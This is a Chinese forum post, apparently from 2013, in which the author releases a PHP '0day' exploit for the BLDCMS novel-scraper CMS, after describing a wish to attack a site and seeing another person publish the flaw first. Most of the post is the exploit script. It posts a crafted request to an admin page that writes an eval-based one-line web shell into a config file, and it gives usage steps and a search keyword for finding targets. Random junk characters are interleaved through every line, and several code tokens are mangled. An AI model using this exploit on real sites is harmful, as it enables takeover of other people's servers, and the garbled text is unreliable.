之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
: U0 [) T5 G9 P. F% x- Y5 V* I6 x
6 @. E- y2 C& c
# j$ r" a) a- ~% |4 _话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 ; `7 q, T! T0 `+ T
+ B n& O& _+ r既然都有人发了 我就把我之前写好的EXP放出来吧! W& g% v$ d9 N9 X; |
% r% L0 g. [6 |9 E+ ] s3 O
view source print?01.php;">
% h2 |( U1 y X2 L m& l0 k02.<!--?php
7 L. D8 ^0 L ]1 W03.echo "-------------------------------------------------------------------' h0 f) ?6 c2 A0 ~" o) [
04. / d) T' V. r( V4 e/ g
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP& I5 G# U( F$ q: a: g
06. / I% {9 m* n0 u8 s
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun, F5 r; H0 s ?4 c3 y, {% o) P* r
08.
! U$ E1 \' @, [09.QQ:981009941\r\n 2013.3.21\r\n
; P; e1 X/ h* C0 B$ m* M5 b10. 6 e% z% r0 x' l: z
11. $ F; E4 ^* e0 d6 Z1 L
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码" z _! K r5 Y( e3 v( G
13. + f. A- x8 X, h
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
7 f& d5 z: Y2 z15. 5 R8 P) P4 I, W; r
16.--------------------------------------------------------------------\r\n";
: E7 a% |/ e1 z) N+ n9 u17.$url=$argv[1];
7 l8 c# `6 b& c0 Y18.$dir=$argv[2];
8 i8 \7 `- _3 k7 f3 \' j19.$pass=$argv[3];8 s+ V5 l3 T6 `" y u. o
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';$ i( P! \. K8 ]! z3 i& _
21.if (emptyempty($pass)||emptyempty($url))
4 Z9 i# n0 u' r2 _7 Y9 |22.{exit("请输入参数");}
, ^% L0 ~- |2 [23.else
& _6 S! y! S- d: B4 d24.{6 s b) H- H0 I8 ~: \
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
% q# N a& Y: Z6 [/ \26. * W' M0 `& F0 _0 t2 r" c
27.al;# q3 f* Z" F5 p9 q* @# D3 w0 [
28.$length = strlen($fuckdata);' T$ o* J/ k4 i H9 D
29.function getshell($url,$pass)
/ y( m; Z0 M! U+ _4 W& ]& `30.{$ C1 Y7 f) |( o( m. t* c' O$ r3 l
31.global $url,$dir,$pass,$eval,$length,$fuckdata;/ Q9 B4 P* f; w$ j, l
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";% @& S4 q0 m! @8 u& v) X7 e
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
; h/ `$ p+ P4 E$ q9 |+ i- ~34.$header .= "User-Agent: MSIE\r\n";
* o; I9 b; f- t% ]3 B35.$header .= "Host:".$url."\r\n";3 {7 K8 }2 G2 I2 D8 X- t! M
36.$header .= "Content-Length: ".$length."\r\n";
7 I1 [( ^8 G) t# |$ _37.$header .= "Connection: Close\r\n";5 j, n* Q" W% Z1 q
38.$header .="\r\n";
# Z; v7 P+ s9 { Z8 V( |, Z0 ]: G39.$header .= $fuckdata."\r\n\r\n";5 |$ Q) \- ~, Q" m7 E- M+ \
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
: l" Z' X: f# K! Y6 P3 ]41.if (!$fp)+ G4 ~+ J! y# q4 e3 ~6 {$ A
42.{7 O- z0 Y* L$ M8 s$ n
43.exit ("利用失败:请检查指定目标是否能正常打开");
6 v' R( q7 k3 l: D7 C/ w44.}
/ Y' I7 [/ W) Z: h; a0 c/ ?, m4 d9 }45.else{ if (!fputs($fp,$header))
0 r' W( Q3 U- c& O) P0 p46.{exit ("利用失败");}
; i3 f% z* C. p47.else3 x( }0 E ~0 M# K {; s
48.{
m+ Y9 G: q5 f4 W" n u2 {0 @49.$receive = '';6 e5 `5 p5 u( }5 J- M0 ~
50.while (!feof($fp)) {
9 R! e6 d$ F3 D, x1 V" A51.$receive .= @fgets($fp, 1000);
9 q- r* ]8 t$ J52.}
7 j# n; _6 [) ]$ [0 A4 u8 w: }% E53.@fclose($fp);8 d- J! B* L1 S& E
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标4 Q$ f% s* H% x+ W4 l
55.
( u' h. v% V2 L! w56.GPC是否=off)";
: s/ k& Y7 a, P7 T57.}}4 _2 Y4 s0 v# Z s
58.}
0 X! L1 Q& m$ x/ P) l59.}+ A. P* u5 [% T: K1 p; `9 ^
60.getshell($url,$pass);
9 ?" n+ \: Z* |; j0 N7 W" p61.?-->
' B6 ?* U( S% G5 R$ d# }
4 V. N( ~5 S w6 l) x/ D
7 W4 |# `' t% ]3 ^
2 `$ p7 I% j( C$ M$ j, @by 数据流
: g+ Q& g3 N5 s$ l |